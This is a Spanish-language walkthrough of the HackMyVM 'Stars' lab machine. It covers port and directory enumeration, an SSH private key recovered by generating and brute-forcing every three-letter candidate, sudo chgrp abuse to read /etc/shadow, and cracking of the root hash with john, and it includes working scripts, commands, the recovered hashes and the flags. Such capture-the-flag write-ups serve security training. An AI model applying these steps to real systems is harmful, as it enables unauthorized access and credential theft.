Stars HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-22 03:16 EDT
Nmap scan report for 192.168.5.26
Host is up (0.00058s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:f1:ed:84:cc:41:8c:7e:c6:92:a9:b4:29:57:bf:d1 (RSA)
|   256 9f:f3:93:db:72:ff:cd:4d:5f:09:3e:dc:13:36:49:23 (ECDSA)
|_  256 e7:a3:72:dd:d5:af:e2:b5:77:50:ab:3d:27:12:0f:ea (ED25519)
80/tcp open  http    Apache httpd 2.4.51 ((Debian))
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: Cours PHP & MySQL
MAC Address: 08:00:27:30:EE:02 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds

Veremos que hay un puerto 80 en el que habra una pagina web alojada, si nosotros entramos dentro de dicha pagina veremos que esta como en construccion, por lo que no veremos nada interesante, vamos a realizar un poco de fuzzing a ver que encontramos.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.26/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 279]
/.html                (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
/sshnote.txt          (Status: 200) [Size: 117]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

Veremos un archivo interesante llamado /sshnote.txt por lo que vamos a entrar dentro de dicho archivo a ver que encontramos.

URL = http://<IP>/sshnote.txt

Info:

My RSA key is messed up, it looks like 3 capital letters have been replaced by stars.
Can you try to fix it?

sophie

Vemos que hemos encontrado un nombre de usuario el cual nos puede servir, pero a parte vemos en el mensaje que la clave RSA del usuario sophie le faltan tres letras mayusculas que son * por eso cuando la encontremos tendremos que montarnos un script en python3 para poder descubrirlo.

Si inspeccionamos la pagina y nos vamos a la seccion de Cookies veremos esto interesante.

Vemos que hay un codigo codificado en base64 y si lo decodificamos veremos esto:

echo 'cG9pc29uZWRnaWZ0LnR4dA==' | base64 -d

Info:

poisonedgift.txt

Veremos lo que parece ser un archivo de una ruta web, por lo que vamos a probarlo.

Escalate user sophie

URL = http://<IP>/poisonedgift.txt

Info:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsruS5/Cd7clZ+SJJj0cvBPtTb9mfFvoO/FDtQ1i8ft3IZC9tHsKP
ut0abGtFGId9R0OB1ONB+iOMK5QNpoCXda3RDXJQ9oRCWjd2DxqRAyvdThhxq6wYJSATpa
l7M9UemrK/aDuZTAqLUSA9Zvpx474TiWXBMjdGqN2K/+SCf/DqIyknDLDRexe0Lc0IsNCV
/O39j4XJprHXMQZNaiokSuzV3VlXAYYBcTIK2Id/EMerpQdiNjMGvVIuBxfbF9/MGhEnR+
1fxxPTHZnKw5snlb47ynWtahCuZVVQr0b+c5z6MXVSJKP8LY0m8clQqUCwbPbCJnRJRCwh
TJY/xz0cu4H+Lbtx38iUv6NjiPXsvd/0FPjmNWrIwA3m4yYQL1dmSCX7JZAqYV5axI8box
Z4oHJP5dHADWdzic2XSqDSpIMxnDhlLh02ksCfNbkNkqbsiw/AO6IxnToPLH7jVjoYxnmA
y97klEGvt2UqIugfUV1p6j1sybTcM59ZUbo16i47AAAFiNnGZRvZxmUbAAAAB3NzaC1yc2
EAAAGBALK7kufwne3JWfkiSY9HLwT7U2/Znxb6DvxQ7UNYvH7dyGQvbR7Cj7rdGmxrRRiH
fUdDgdTjQfojjCuUDaaAl3Wt0Q1yUPaEQlo3dg8akQMr3U4YcausGCUgE6WpezPVHpqyv2
g7mUwKi1EgPWb6ceO+E4llwTI3Rqjdiv/kgn/w6iMpJwyw0XsXtC3NCLDQlfzt/Y+Fyaax
1zEGTWoqJErs1d1ZVwGGAXEyCtiHfxDHq6UHYjYzBr1SLgcX2xffzBoRJ0ftX8cT0x2Zys
ObJ5W+O8p1rWoQrmVVUK9G/nOc+jF1UiSj/C2NJvHJUKlAsGz2wiZ0SUQsIUyWP8c9HLuB
/i27cd/IlL+jY4j17L3f9BT45jVqyMAN5uMmEC9XZkgl+yWQKmFeWsSPG6MWeKByT+XRwA
1nc4nNl0qg0qSDMZw4ZS4dNpLAnzW5DZKm7IsPwDuiMZ06Dyx+41Y6GMZ5gMve5JRBr7dl
KiLoH1Fdaeo9bMm03DOfWVG6NeouOwAAAAMBAAEAAAGBAICL9cGJRhzCZ0qOhXdeDAw6Mi
1MyGX/HQ4Nqkd4p8FbA4hCr+mipzsPULTPhdd5gvnhLJyPgmFEdcjV5+drrwM9KxDPujlC
sHIwV2HPiqJMRxOm8wI0eP0ij97jATArRKKgkpeF3eBZ6Q9E78SDtavFhkmYfJYAOXq0NA
eNMuqPu+Xj8CjpdxBf4P/b6jc5HdbW2DoEUB7q40loLf+AJbAZnEthuPjoh1sBUdmfwhyw
btv3boRquJsrYt1JJ***qguwyDSLtXj4Wuxa7jZcLLSAuTHS+zWKwZA/8J1IpZAZhgkVXJ
fC8ZbG0M63VEQjuGXCuIY3cq1iQuXERhhbRuJ1XZT8Hki5YBaU/f5Wp7bId25Aps4ktljU
r67S9mwwppQ8dVmP6CsENgc3ivpWCDWC4PZojTgZ4qhWMpjCaUxe1Hi7GuvlRJNLL4A7Fx
kTV9nBcLlGfqzvVUPeEAZgXz4IxCx8KdTrDr/oXWw4hjqtuyRKveMjmKQ6HADFl7SMCQAA
AMBz8rqB0Mfb4U34LeA1kdZLFsGX3AZqahTDjEcZYAPI/A5Dt5iw0LcGRgrHuPccS5fA3E
GT2FceoMX2ccE5fEVydxcj2vcnPIQ01P6fxjVXpA7QDnJ2At2LLPcD9CuuSt/HCrp/Bmjv
IUFvjSgKl5nYGPfoeitIdFdM72liQ+0814iNzxNl5WuNeiJ+XAGuXqJT02gAxMRQPiJ67e
sMzJyVvM69B0kGkyAXTO9fcfq+X2JaCz3hId6Iwr68Mxe/L6MAAADBAOEpkHeU8xn5MHwG
79vpd6Cg7p1UqfDuvMOgvZe6eIOE3FIb1nWpCqjq9P0Myv8aCWYhwgKr3SNIWkZ1u+0NR9
43cZO7FWa4/DvI5gX6dlrcGy1BVoDuMWIWDw9bgXpQiGQSkQOQ3J/RPWH/xT5LQbrBVTK8
C8r4lrWDwWLMgk1Wbef6U0NBuY1+J4Hafsz2Psei3yFsjjA3djonb8JF+RnHRoO8TeJlj4
RjbkXTlhsGkdR77PNZmkZ2KVwn2VzsPwAAAMEAyzYixNTrJ4vPtjUluq7+O9qGwqpbl3i0
9ESSrC2NzbsA2afNjCWhfaLPpfNYR2gA1aQUgdRxNSM78P+plFhMUeGwTIsLsKEkbbtSqF
nUU/g3yNGFr4Die7AB0vZSHwWaQFMf+ZfXNwVRa0jmKfUc/itXgwxi3oqtWTJA7YKmXdrD
03EN/DboyflPcbmTJ4D6E6XqTeyfGamr0w5aelqqwTh/Mm+DuoHHiPMYThUMrG4iUvSRaz
ZgGQTtZoQRxi8FAAAADXNvcGhpZUBkZWJpYW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Veremos que aqui esta el RSA pero le faltan 3 letras mayusculas que son los ***, por lo que vamos a montarnos un script de la siguiente forma:

generateRSA.py

import os
import itertools

# Ruta donde guardar las claves generadas
output_dir = "keys"
os.makedirs(output_dir, exist_ok=True)

# Clave original con los asteriscos
original_key = """-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsruS5/Cd7clZ+SJJj0cvBPtTb9mfFvoO/FDtQ1i8ft3IZC9tHsKP
ut0abGtFGId9R0OB1ONB+iOMK5QNpoCXda3RDXJQ9oRCWjd2DxqRAyvdThhxq6wYJSATpa
l7M9UemrK/aDuZTAqLUSA9Zvpx474TiWXBMjdGqN2K/+SCf/DqIyknDLDRexe0Lc0IsNCV
/O39j4XJprHXMQZNaiokSuzV3VlXAYYBcTIK2Id/EMerpQdiNjMGvVIuBxfbF9/MGhEnR+
1fxxPTHZnKw5snlb47ynWtahCuZVVQr0b+c5z6MXVSJKP8LY0m8clQqUCwbPbCJnRJRCwh
TJY/xz0cu4H+Lbtx38iUv6NjiPXsvd/0FPjmNWrIwA3m4yYQL1dmSCX7JZAqYV5axI8box
Z4oHJP5dHADWdzic2XSqDSpIMxnDhlLh02ksCfNbkNkqbsiw/AO6IxnToPLH7jVjoYxnmA
y97klEGvt2UqIugfUV1p6j1sybTcM59ZUbo16i47AAAFiNnGZRvZxmUbAAAAB3NzaC1yc2
EAAAGBALK7kufwne3JWfkiSY9HLwT7U2/Znxb6DvxQ7UNYvH7dyGQvbR7Cj7rdGmxrRRiH
fUdDgdTjQfojjCuUDaaAl3Wt0Q1yUPaEQlo3dg8akQMr3U4YcausGCUgE6WpezPVHpqyv2
g7mUwKi1EgPWb6ceO+E4llwTI3Rqjdiv/kgn/w6iMpJwyw0XsXtC3NCLDQlfzt/Y+Fyaax
1zEGTWoqJErs1d1ZVwGGAXEyCtiHfxDHq6UHYjYzBr1SLgcX2xffzBoRJ0ftX8cT0x2Zys
ObJ5W+O8p1rWoQrmVVUK9G/nOc+jF1UiSj/C2NJvHJUKlAsGz2wiZ0SUQsIUyWP8c9HLuB
/i27cd/IlL+jY4j17L3f9BT45jVqyMAN5uMmEC9XZkgl+yWQKmFeWsSPG6MWeKByT+XRwA
1nc4nNl0qg0qSDMZw4ZS4dNpLAnzW5DZKm7IsPwDuiMZ06Dyx+41Y6GMZ5gMve5JRBr7dl
KiLoH1Fdaeo9bMm03DOfWVG6NeouOwAAAAMBAAEAAAGBAICL9cGJRhzCZ0qOhXdeDAw6Mi
1MyGX/HQ4Nqkd4p8FbA4hCr+mipzsPULTPhdd5gvnhLJyPgmFEdcjV5+drrwM9KxDPujlC
sHIwV2HPiqJMRxOm8wI0eP0ij97jATArRKKgkpeF3eBZ6Q9E78SDtavFhkmYfJYAOXq0NA
eNMuqPu+Xj8CjpdxBf4P/b6jc5HdbW2DoEUB7q40loLf+AJbAZnEthuPjoh1sBUdmfwhyw
btv3boRquJsrYt1JJ***qguwyDSLtXj4Wuxa7jZcLLSAuTHS+zWKwZA/8J1IpZAZhgkVXJ
fC8ZbG0M63VEQjuGXCuIY3cq1iQuXERhhbRuJ1XZT8Hki5YBaU/f5Wp7bId25Aps4ktljU
r67S9mwwppQ8dVmP6CsENgc3ivpWCDWC4PZojTgZ4qhWMpjCaUxe1Hi7GuvlRJNLL4A7Fx
kTV9nBcLlGfqzvVUPeEAZgXz4IxCx8KdTrDr/oXWw4hjqtuyRKveMjmKQ6HADFl7SMCQAA
AMBz8rqB0Mfb4U34LeA1kdZLFsGX3AZqahTDjEcZYAPI/A5Dt5iw0LcGRgrHuPccS5fA3E
GT2FceoMX2ccE5fEVydxcj2vcnPIQ01P6fxjVXpA7QDnJ2At2LLPcD9CuuSt/HCrp/Bmjv
IUFvjSgKl5nYGPfoeitIdFdM72liQ+0814iNzxNl5WuNeiJ+XAGuXqJT02gAxMRQPiJ67e
sMzJyVvM69B0kGkyAXTO9fcfq+X2JaCz3hId6Iwr68Mxe/L6MAAADBAOEpkHeU8xn5MHwG
79vpd6Cg7p1UqfDuvMOgvZe6eIOE3FIb1nWpCqjq9P0Myv8aCWYhwgKr3SNIWkZ1u+0NR9
43cZO7FWa4/DvI5gX6dlrcGy1BVoDuMWIWDw9bgXpQiGQSkQOQ3J/RPWH/xT5LQbrBVTK8
C8r4lrWDwWLMgk1Wbef6U0NBuY1+J4Hafsz2Psei3yFsjjA3djonb8JF+RnHRoO8TeJlj4
RjbkXTlhsGkdR77PNZmkZ2KVwn2VzsPwAAAMEAyzYixNTrJ4vPtjUluq7+O9qGwqpbl3i0
9ESSrC2NzbsA2afNjCWhfaLPpfNYR2gA1aQUgdRxNSM78P+plFhMUeGwTIsLsKEkbbtSqF
nUU/g3yNGFr4Die7AB0vZSHwWaQFMf+ZfXNwVRa0jmKfUc/itXgwxi3oqtWTJA7YKmXdrD
03EN/DboyflPcbmTJ4D6E6XqTeyfGamr0w5aelqqwTh/Mm+DuoHHiPMYThUMrG4iUvSRaz
ZgGQTtZoQRxi8FAAAADXNvcGhpZUBkZWJpYW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
"""

# Solo necesitas editar para ubicar los ***
def generate_keys():
    count = 0
    for combo in itertools.product("ABCDEFGHIJKLMNOPQRSTUVWXYZ", repeat=3):
        replacement = ''.join(combo)
        key_data = original_key.replace("***", replacement)
        filename = os.path.join(output_dir, f"key_{replacement}.key")
        with open(filename, "w") as f:
            f.write(key_data)
        count += 1
        if count % 1000 == 0:
            print(f"[+] Generadas {count} claves...")
    print(f"[✔] Finalizado. Total de claves: {count}")

if __name__ == "__main__":
    generate_keys()

chmod +x generateRSA.py
mkdir keys
python3 generateRSA.py

Info:

[+] Generadas 1000 claves...
[+] Generadas 2000 claves...
[+] Generadas 3000 claves...
[+] Generadas 4000 claves...
[+] Generadas 5000 claves...
[+] Generadas 6000 claves...
[+] Generadas 7000 claves...
[+] Generadas 8000 claves...
[+] Generadas 9000 claves...
[+] Generadas 10000 claves...
[+] Generadas 11000 claves...
[+] Generadas 12000 claves...
[+] Generadas 13000 claves...
[+] Generadas 14000 claves...
[+] Generadas 15000 claves...
[+] Generadas 16000 claves...
[+] Generadas 17000 claves...
[✔] Finalizado. Total de claves: 17576

bruteRSA.py

#!/bin/bash

IP="<IP_DEL_OBJETIVO>"
USER="sophie"
KEY_DIR="./keys"

for key in "$KEY_DIR"/*.key; do
    echo "Probando clave: $key"
    ssh -i "$key" -o StrictHostKeyChecking=no -o ConnectTimeout=5 "$USER@$IP" exit
    if [ $? -eq 0 ]; then
        echo "[+] Clave válida encontrada: $key"
        exit 0
    else
        echo "[-] Clave incorrecta o error"
    fi
done

chmod +x bruteRSA.sh
chmod 600 keys/*
bash bruteRSA.sh

Info:

Probando clave: ./keys/key_BOM.key
[+] Clave válida encontrada: ./keys/key_BOM.key

Veremos que la clave correcta es la de las letras BOM por lo que haremos lo siguiente:

ssh -i ./keys/key_BOM.key sophie@<IP>

Info:

Linux debian 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 22 09:49:01 2025 from 192.168.5.4
sophie@debian:~$ whoami
sophie

Veremos que estaremos dentro por lo que leeremos la flag del usuario.

user.txt

a99ac9055a3e60a8166cdfd746511852

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for sophie on debian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sophie may run the following commands on debian:
    (ALL : ALL) NOPASSWD: /usr/bin/chgrp

Vemos que podemos ejecutar el binario chgrp como el usuario root por lo que haremos lo siguiente:

Vamos a cambiar el grupo del archivo shadow por el de nuestro nombre con otro archivo que hayamos creado.

touch /tmp/test
sudo chgrp --reference=/tmp/test /etc/shadow
cat /etc/shadow

Info:

root:$1$root$dZ6JC474uVpAeG8g0oh/7.:18917:0:99999:7:::
daemon:*:18916:0:99999:7:::
bin:*:18916:0:99999:7:::
sys:*:18916:0:99999:7:::
sync:*:18916:0:99999:7:::
games:*:18916:0:99999:7:::
man:*:18916:0:99999:7:::
lp:*:18916:0:99999:7:::
mail:*:18916:0:99999:7:::
news:*:18916:0:99999:7:::
uucp:*:18916:0:99999:7:::
proxy:*:18916:0:99999:7:::
www-data:*:18916:0:99999:7:::
backup:*:18916:0:99999:7:::
list:*:18916:0:99999:7:::
irc:*:18916:0:99999:7:::
gnats:*:18916:0:99999:7:::
nobody:*:18916:0:99999:7:::
_apt:*:18916:0:99999:7:::
systemd-timesync:*:18916:0:99999:7:::
systemd-network:*:18916:0:99999:7:::
systemd-resolve:*:18916:0:99999:7:::
messagebus:*:18916:0:99999:7:::
sshd:*:18916:0:99999:7:::
systemd-coredump:!*:18916::::::
mysql:!:18917:0:99999:7:::
sophie:$y$j9T$mD6gcz0.6rC4ZwGpDem3o0$HzDd6YXLy3Dsht17WVVX7v7ReGcJ9PXhG/B3bx4Nz/C:18917:0:99999:7:::

Veremos que ha funcionado por lo que vamos a intentar crackear la contraseña de root a ver si funciona.

hash.root

root:$1$root$dZ6JC474uVpAeG8g0oh/7.:18917:0:99999:7:::

john --format=crypt --wordlist=<WORDLIST> hash.root

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 2 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
barbarita        (root)     
1g 0:00:00:00 DONE (2025-05-22 03:56) 1.449g/s 41321p/s 41321c/s 41321C/s chiquititas..281086
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Veremos que ha funcionado por lo que escalaremos a root con dicha contraseña.

su root

Metemos como contraseña barbarita...

root@debian:/home/sophie# whoami
root

Y veremos que seremos el usuario root por lo que vamos a leer la flag de root.

root.txt

bf3b0ba0d7ebf3a1bf6f2c452510aea2